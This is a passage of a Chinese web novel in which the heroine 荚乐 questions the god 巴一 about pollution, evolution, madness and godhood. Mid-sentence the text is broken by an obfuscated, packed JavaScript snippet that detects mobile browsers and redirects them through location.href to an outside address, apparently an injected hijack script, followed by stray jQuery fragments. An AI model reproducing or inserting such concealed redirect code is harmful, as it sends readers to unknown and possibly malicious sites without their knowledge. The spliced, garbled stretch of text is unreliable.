被污染的。”
“什么?”荚乐瞪大了眼睛,她把邪神当污染的源头,然后这个源头告诉她,自己也是被污染的?
“这很稀奇古怪吗?你认为什么是邪恶,什么是污染?”
她有些恍神,这是第二次听到这样的问题,上一次还是克内斯克这样问她。
“你不知道?我可以告诉你。”巴一不像全知之眼这不能说,那不能谈,相反,他还试图解释得更好理解一些:
“污染实际上是一种进化,邪恶是促进这种进化的力量,所以邪恶复苏,必然造成污染的快速出现,也就演变成了地球的样子。”
“所以,那些污染物是成功进化的结果?没有思想,没有智慧,只有本能?”
“进化的过程是疯狂的过程,它们是成功的,职业者也是成功的,只是方向不同,真正失败的是毫无变化的普通人。”
“疯狂?”这对荚乐来说是一个新词。
巴一继续解释:“是的,疯狂,一切的终点就是疯狂,世界从疯狂中诞生,也将从疯狂中毁灭。”
“那作为神,你应该到达了终点,可看上去并不疯狂啊?”
祂指了指自己的大脑:“疯狂和智慧并不冲突,疯狂怎么界定呢?如果对某样事情追求到极致,不惜杀死一切阻挠他的,这算不算疯狂呢?”
“……”那就是有思想和思考能力的疯子,怎么不算疯狂?
“那你为什么而疯狂呢?克内斯克又为什么而疯狂呢?”荚乐疑惑,多少有些打破砂锅问到底。
“我为了真理,至于那家伙,你应该自己问他。”
荚乐当然不会莫名其妙去问克内斯克这个莫名其妙的问题。她更好奇自己。
“那我对什么疯狂?我没有极端地执着什么,但我还是成了神。”她隐去了游戏奖励的存在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623371|151369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,像是为了反驳而反驳。
“所以你很弱。”
“……”荚乐噎住,说着说着讲什么大实话。
“而且成神和这些没有必然关系。”巴一严谨地补充。
“好吧。”
逛到最后,重新回到最高实验前,巴一转过身,终于收起了随随便便地摆烂表情,严肃了一回:
“不要拘泥于一个小小的地球,或是奇迹大陆,神秘大陆也好,我希望你能投入更广阔的世界,专注于自己,这也是克内斯克的意思。”
所以明明有更快的方式,克内斯克还是不嫌麻烦地从地球进入太空,带她看了一路的风景。
祂们希望荚乐能意识到自己的那一亩三分地有多渺小和不值一提。
但她没有接受这个意见,表情看上去比巴一还要更认真:
“地球的确很小,可如果非要找一个执念,那我